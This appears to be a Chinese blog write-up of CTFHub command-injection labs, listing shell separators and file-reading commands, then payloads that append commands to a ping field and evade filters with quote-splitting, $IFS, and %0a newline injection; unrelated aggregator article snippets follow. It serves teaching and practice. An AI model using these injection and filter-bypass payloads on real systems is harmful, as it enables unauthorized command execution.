RCE复习(ctfhub下)

先了解一下命令注入的知识点:

知识点

1、常见的拼接符

  1. A ; B     先执行A,再执行B
  2. A & B    简单的拼接
  3. A | B      显示B的执行结果
  4. A&&B    A执行成功之后才会执行B
  5. A || B     A执行失败之后才会执行B
  6.       ,       在特殊情况下可代替空格

2、常见的命令

(1)、windows

1.type  显示文本文件内容
type x:\1.txt                      //显示x盘下的1.txt文件内容
type x:\1.txt | more            //分页显示x盘里1.txt的内容
more 1.txt                         //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)

2.dir  显示目录里的内容
dir                //显示当前目录里的子文件夹和文件
dir /b            //只显示当前目录子文件夹、文件的文件名
dir /p            //分页显示当前目录子文件夹、文件
dir /ad          //只显示当前目录中的文件夹
dir /a-d         //显示当目里的文件
dir x:/a         //显示x盘下a文件夹中的内容
dir 1.txt        //显示当目下1.txt的信息
dir /s            //递归显示当目中的内容   ctrl c终止当前命令
dir a*           //显示当目下a开头的文件、文件夹信息
dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序

(2)linux

1、ls:列出目录

2、pwd:显示当前所在的目录

3、cat:由第一行开始查看文件

4、tac:由最后一行到第一行查看

5、more:逐项查看文件,按空格继续,最后自己退出

6、less:逐行查看文件,按方向键,不可主动退出,按q退出

7、head:只查看文件前十行

8、tail:只查看文件后十行

补充:

接下来是例题:

一.命令注入

打开题目,告诉我们是命令注入且无过滤

1.使用了ping命令,我们输入IP,进行ping;由于没有过滤,直接进行命令的拼接

直接查看根目录

127.0.0.1 | ls

在根目录中发现了两个文件,猜测在第一个里面

直接查看文件的内容:

127.0.0.1 | cat 260731822620001.php

但是发现没有回显,查看源代码试一试

发现源代码中藏有flag

二.过滤cat

1.其实这道题目和上一题的做法一样,只不过需要把命令中的cat给绕过

2.查看文件的命令不能是cat,对比上述知识点,也可以选择其他的查看文件的命令;(比如head)

127.0.0.1 | ls

先查看根目录

发现了flag文件,那么就直接访问这个flag文件

(1)使用head代替掉cat

127.0.0.1 | head flag_7157667214323.php

还是一样的没有回显,查看源代码

发现了flag

(2)绕过cat

使用单引号绕过 

127.0.0.1; c''at ​  flag_7157667214323.php  ​ |base64

 

发现了一串base64编码,解码即可

同样的可以得到flag

下面这两个和单引号绕过得到的结果一样,只是绕过的方式不同罢了

使用双引号绕过 :

127.0.0.1; c""at flag_7157667214323.php |base64

利用Shell 特殊变量绕过:

127.0.0.1; ca$@t flag_7157667214323.php |base64

三.过滤空格

其他步骤不变,空格被过滤,可以对空格进行代替,然后绕过。

<,<>,%20(space),%09(tab),$IFS$9,{IFS}

以上这些字符都可以代替空格

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。以下payload皆可绕过本题空格:

先看当前目录

127.0.0.1;ls

发现了flag文件,直接查看这个flag文件,但是要注意替换掉命令中的空格

127.0.0.1|cat<flag_136091577914436.php

又是什么都不显示,那么就直接查看源代码

发现了flag

其它的字符替换掉空格的做法就不再展示,和上面的一样的操作

四.过滤目录分隔符

法一:先查看根目录,发现有提示“flag_is_here”

根据提示,进去看一下:

127.0.0.1;ls flag_is_here

发现了flag文件

根据经验知道我们只要访问到php文件的内容就可以拿到flag了

 思路:这里我们可以用&&运算符将命令连接起来就能成功拿到flag

127.0.0.1;cd flag_is_here&&cat flag_19900138617064.php|base64

法二:这题过滤了目录分割符,flag在/flag_here文件夹下面,因此不能直接读取,我们需要进行命令的拼接。

;cd flag_is_here;ls

这个命令分三步执行:

1、ping

2、进入flag_is_here文件夹

3、列举flag_is_here文件夹下的文件

发现了flag文件

同理,进行命令拼接,读取文件内容

;cd flag_is_here;cat flag_1619816943826.php

这个命令分三步执行:

1、ping

2、进入flag_is_here文件夹

3、读取文件夹下的flag.php

得到了flag

五.过滤运算符

进入题目发现过滤掉了“/(\||\&)/”这些字符,那么我们就不用这些运算符

127.0.0.1;ls

发现了flag文件

127.0.0.1;cat flag_24277163784460.php

同样的在源代码中发现了flag

六.综合过滤练习

看见源代码中给出了本题目过滤掉的字符,甚至把cat和flag, ctfhub同时过滤掉了

不过运算符";"可以用%0a%0d%0D%0A绕过

空格可以用${IFS}

cat可以用more,head

flag可以用f***

先执行命令127.0.0.1%0als

但是没有回显,查了一下得知:这里因为%0a是url编码,所以要输入到url中,否则会被二次编码

所以这道题目的每一条命令都要构造url的payload

?ip=127.0.0.1%0als

接下来查看flag_is_here

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

然后查看flag内容的base64编码

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_7287917426138.php

 

得到一串base64编码,进行解码

解码成功,得到了flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/583592.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

pytorch 实现语义分割 PSPNet

语意分割是指一张图片上包含多个物体&#xff0c;通过语义分割可以识别物体分类、物体名称、像素识别的任务。和物体检测不同&#xff0c;他不会将物体框出来&#xff0c;而是根据像素的归属把物体标注出来。PSPNet 的输入是一张图片&#xff0c;例如300500&#xff0c;那么输出…

Redis基本數據結構 ― List

Redis基本數據結構 ― List 介紹常用命令範例1. 將元素推入List中2. 取得List內容3. 彈出元素 介紹 Redis中的List結構是一個雙向鏈表。 LPUSH LPOP StackLPUSH RPOP QueueLPUSH BRPOP Queue(消息隊列) 常用命令 命令功能LPUSH將元素推入列表左端RPUSH將元素推入列表右…

特别推荐一个学习开发编程的网站

http://www.somecore.cn/ 为开发人员提供一系列好看的技术备忘单&#xff0c;方便开发过程中速查基本语法、快捷键、命令&#xff0c;节省查找时间&#xff0c;提高开发效率。 【人生苦短&#xff0c;抓住重点】

Java 面向对象—重载和重写/覆盖(面试)

重载和重写/覆盖&#xff1a; 重载&#xff08;overload&#xff09;&#xff1a; Java重载是发生在本类中的&#xff0c;允许同一个类中&#xff0c;有多个同名方法存在&#xff0c;方法名可以相同&#xff0c;方法参数的个数和类型不同&#xff0c;即要求形参列表不一致。重载…

有趣的 CSS 图标整合技术!sprites精灵图,css贴图定位

你好&#xff0c;我是云桃桃。 一个希望帮助更多朋友快速入门 WEB 前端的程序媛。 云桃桃-大专生&#xff0c;一枚程序媛&#xff0c;感谢关注。回复 “前端基础题”&#xff0c;可免费获得前端基础 100 题汇总&#xff0c;回复 “前端工具”&#xff0c;可获取 Web 开发工具合…

【C语言进阶】程序编译中的预处理操作

&#x1f4da;作者简介&#xff1a;爱编程的小马&#xff0c;正在学习C/C&#xff0c;Linux及MySQL.. &#x1f4da;以后会将数据结构收录为一个系列&#xff0c;敬请期待 ● 本期内容讲解C语言中程序预处理要做的事情 目录 1.1 预处理符号 1.2 #define 1.2.1 #define定义标识…

数据结构(01)——链表OJ

目录 移除链表元素 思路1 不创建虚拟头节点 思路2 创建虚拟头节点 反转链表 寻找链表中间节点 判断链表是否相交 回文链表 环形链表 环形链表|| 移除链表元素 . - 力扣&#xff08;LeetCode&#xff09; 要想移除链表的元素&#xff0c;那么只需要将目标节点的前一…

07_for循环返回值while循环

文章目录 1.循环返回值2.yield接收for返回值3.scala调用yield方法创建线程对象4.scala中的while循环5.scala中的流程控制 1.循环返回值 for循环返回值是Unit 原因是防止产生歧义&#xff1b; 2.yield接收for返回值 // 2.yield关键字打破循环&#xff0c;可以使for循环输出…

智慧农业设备——虫情监测系统

随着科技的不断进步和农业生产的日益现代化&#xff0c;智慧农业成为了新时代农业发展的重要方向。其中&#xff0c;虫情监测系统作为智慧农业的重要组成部分&#xff0c;正逐渐受到广大农户和农业专家的关注。 虫情监测系统是一种基于现代传感技术、图像识别技术和大数据分析技…

面试笔记——线程池

线程池的核心参数&#xff08;原理&#xff09; public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler)corePoolSize …

25计算机考研院校数据分析 | 四川大学

四川大学(Sichuan University)简称“川大”&#xff0c;由中华人民共和国教育部直属&#xff0c;中央直管副部级建制&#xff0c;是世界一流大学建设高校、985工程”、"211工程"重点建设的高水平综合性全国重点大学&#xff0c;入选”2011计划"、"珠峰计划…

PostgreSQL的学习心得和知识总结(一百四十)|深入理解PostgreSQL数据库 psql工具 \set 变量内部及HOOK机制

目录结构 注&#xff1a;提前言明 本文借鉴了以下博主、书籍或网站的内容&#xff0c;其列表如下&#xff1a; 1、参考书籍&#xff1a;《PostgreSQL数据库内核分析》 2、参考书籍&#xff1a;《数据库事务处理的艺术&#xff1a;事务管理与并发控制》 3、PostgreSQL数据库仓库…

【能力展现】魔改ZXING源码实现商业级DM码检测能力

学习《OpenCV应用开发&#xff1a;入门、进阶与工程化实践》一书 做真正的OpenCV开发者&#xff0c;从入门到入职&#xff0c;一步到位&#xff01; 什么是DM码 dataMatrix是一种二维码&#xff0c;原名datacode&#xff0c;由美国国际资料公司于1989年发明。dataMatrix二维码…

GuildFi升级为Zentry的背后 链游公会的探索与转型

​链游即区块链游戏&#xff0c;指依托区块链技术构建的游戏产品。其与传统游戏的最大区别在于区块链的去中心化特性对玩家的资产有着天然的确权行为&#xff0c;因此玩家在链游中的资产是作为玩家的个人资产存在。较于 GameFi 来说&#xff0c;链游的包含范围更大&#xff0c;…

吴恩达机器学习笔记:第 8 周-14降维(Dimensionality Reduction) 14.3-14.5

目录 第 8 周 14、 降维(Dimensionality Reduction)14.3 主成分分析问题14.4 主成分分析算法14.5 选择主成分的数量 第 8 周 14、 降维(Dimensionality Reduction) 14.3 主成分分析问题 主成分分析(PCA)是最常见的降维算法。 在 PCA 中&#xff0c;我们要做的是找到一个方向…

【高校科研前沿】华东师大白开旭教授博士研究生李珂为一作在RSE发表团队最新成果:基于波谱特征优化的全球大气甲烷智能反演技术

文章简介 论文名称&#xff1a;Developing unbiased estimation of atmospheric methane via machine learning and multiobjective programming based on TROPOMI and GOSAT data&#xff08;基于TROPOMI和GOSAT数据&#xff0c;通过机器学习和多目标规划实现大气甲烷的无偏估…

OS复习笔记ch5-1

引言 讲解完进程和线程之后&#xff0c;我们就要来到进程的并发控制这里&#xff0c;这一章和下一章是考试喜欢考察的点&#xff0c;有可能会出大题&#xff0c;面试也有可能会被频繁问到&#xff0c;所以章节内容较多。请小伙伴们慢慢食用&#xff0c;看完之后多思考加强消化…

【JPE】顶刊测算-工业智能化数据(附stata代码)

数据来源&#xff1a;国家TJ局、CEC2008、IFR数据 时间跨度&#xff1a;2006-2019年 数据范围&#xff1a;各省、地级市 数据指标&#xff1a; 本数据集展示了2006-2019年各省、各地级市的共工业智能化水平的数据。本数据集包含三种构建工业机器人密度来反映工业智能化水平的方…

基于Springboot的数字化农家乐管理平台(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的数字化农家乐管理平台&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系…

Apache Seata基于改良版雪花算法的分布式UUID生成器分析2

title: 关于新版雪花算法的答疑 author: selfishlover keywords: [Seata, snowflake, UUID, page split] date: 2021/06/21 本文来自 Apache Seata官方文档&#xff0c;欢迎访问官网&#xff0c;查看更多深度文章。 关于新版雪花算法的答疑 在上一篇关于新版雪花算法的解析中…